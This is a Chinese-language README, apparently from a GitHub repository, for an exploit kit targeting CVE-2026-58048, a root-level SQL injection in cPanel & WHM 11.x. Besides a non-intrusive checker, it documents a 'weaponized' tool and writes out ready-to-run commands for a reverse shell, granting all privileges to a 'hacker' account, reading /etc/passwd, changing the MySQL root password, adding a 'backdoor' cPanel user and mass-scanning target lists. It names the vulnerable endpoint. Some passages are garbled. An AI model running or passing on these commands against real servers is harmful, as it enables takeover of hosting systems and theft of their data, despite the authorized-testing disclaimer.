👾 CVE-2026-58048 – cPanel Root SQL 执行工具包(CVSS 9.4)| 针对未修补的 cPanel & WHM 11.x 的完整红/蓝队工具套件。2 个工具:安全检测器(审计/报告)、武器化版本(反向 shell、持久化、UDF RCE、部署、文件读写、数据库操作、批量扫描)。含 Python。🦾 合乎道德地使用,遵守法律 <3

⚠️ 仅限道德用途 – 授权安全测试
本仓库仅为授权安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在 CFAA(美国)、Computer Misuse Act(英国)、TCK 243/244(土耳其)以及全球类似法律下均属违法行为。
CVE‑2026‑58048 是 cPanel & WHM 11.x 版本中的一个严重 SQL 注入漏洞,允许已认证的 cPanel 用户通过数据库重命名功能以 MySQL root 权限执行任意 SQL 命令。
ANSI_QUOTES 模式,从而改变解析行为。11.137.1.6 的版本存在漏洞| 工具 | 用途 | 目标用户 |
|---|---|---|
exploit.py | 完整武器化工具包,包含反向 shell、持久化、UDF RCE、文件读写、数据库操作、代理支持以及批量扫描。 | 红队 / 授权渗透测试人员 |
safecheck.py | 非侵入式漏洞检查器,可检测 cPanel 版本并评估风险,不执行任何恶意载荷。生成详细报告。 | 蓝队 / 安全审计人员 |
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requests
urllib3
colorama
pymysql
exploit.py 参数safecheck.py 参数该漏洞利用使用以下 cPanel UAPI 端点:
本软件仅供教育目的和授权安全测试使用。
| 功能 | exploit.py | safecheck.py |
|---|
| 漏洞检测 | ✅ | ✅ |
| 版本检测 | ✅ | ✅ |
| MySQL root SQL 注入 | ✅ | ❌ |
| 反向 shell | ✅ | ❌ |
| 持久化(创建 cPanel 用户) | ✅ | ❌ |
| UDF RCE(命令执行) | ✅ | ❌ |
| 文件读/写 | ✅ | ❌ |
| 数据库操作(任意 SQL) | ✅ | ❌ |
| 代理支持 | ✅ | ✅ |
| 批量扫描(多线程) | ✅ | ❌ |
| 交互式 shell | ✅ | ❌ |
| 非侵入式(安全)模式 | ❌ | ✅ |
| 详细/调试模式 | ✅ | ✅ |
| SSL 验证控制 | ✅ | ✅ |
| 自定义 User‑Agent | ✅ | ✅ |
| 请求延迟 / 重试 | ✅ | ❌ |
| JSON / 报告输出 | ✅ | ✅ |
| 端点可访问性检查 | ❌ | ✅ |
| SQL 模式泄露检测 | ❌ | ✅ |
| 场景 | 推荐工具 |
|---|
| 蓝队 – 验证您的 cPanel 安装是否存在漏洞 | safecheck.py |
| 安全审计 – 非侵入式漏洞评估 | safecheck.py |
| 红队 – 授权渗透测试与完整利用 | exploit.py |
| 漏洞赏金 – 负责任披露测试 | safecheck.py |
| 批量扫描 – 检查多个目标是否存在漏洞 | exploit.py(仅检测) |
| 事件响应 – 检查系统是否已被入侵 | safecheck.py |
| 参数 | 描述 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-l, --target-file | 包含目标列表的文件(每行一个),用于批量扫描 |
-u, --mysql-user | cPanel/MySQL 用户名 |
-P, --mysql-pass | cPanel/MySQL 密码 |
--mysql-port | MySQL 端口(默认:3306) |
-p, --port | 覆盖 cPanel 端口(默认来自 URL 或 2083) |
--threads | 多目标线程数(默认:10) |
-o, --output | 将结果保存到文件(单目标) |
--log | 详细输出的日志文件 |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
-ua, --user-agent | 自定义 User‑Agent |
--no-keep-alive | 不保持会话活跃 |
--delay | 请求之间的延迟(默认:2.0s) |
--max-retries | 最大重试次数(默认:3) |
--ssl-verify | 验证 SSL 证书 |
--cmd | 要执行的命令(前缀为 sql: 或 udf: 以指定类型) |
--inject | 要注入的自定义 SQL(覆盖其他操作) |
--reverse-shell | 反向 shell IP:PORT(使用 UDF) |
--passwd | 更改 MySQL root 密码 |
--adduser | 创建 cPanel 用户(USER DOMAIN PASSWORD) |
--read | 通过 LOAD_FILE 读取文件 |
-i, --interactive | 利用后进入交互式 shell |
--verify | 通过尝试 MySQL 登录验证利用是否成功 |
--ping | 利用前 ping 目标 |
| 参数 | 描述 |
|---|
-t, --target | 目标 cPanel URL(例如 https://cpanel.example.com:2083) |
-v, --verbose | 详细输出 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
-ua, --user-agent | 自定义 User‑Agent |
--ssl-verify | 验证 SSL 证书 |
--timeout | 请求超时时间(秒)(默认:10) |
--log | 将报告保存到文件 |
--json | 以 JSON 格式输出结果 |
| # | 场景 | 命令 |
|---|
| 1 | 快速漏洞检查 | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | 带报告的详细扫描 | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | 反向 shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 执行自定义 SQL(root) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | 读取敏感文件 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | 更改 MySQL root 密码 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 创建新的 cPanel 用户(持久化) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 利用后进入交互式 shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 从文件批量扫描 | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | 使用代理和自定义 User‑Agent | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
| 端点 | 用途 |
|---|
/execute/Mysql/create_database | 创建临时数据库 |
/execute/Mysql/delete_database | 清理已创建的数据库 |
/execute/Mysql/rename_database | 存在漏洞的端点 – 触发 SQL 注入 |
/execute/Version/get_version | 身份验证和版本检查 |
/execute/UserManager/create_user | 创建新的 cPanel 用户(持久化) |
/execute/UserManager/list_users | 列出现有用户 |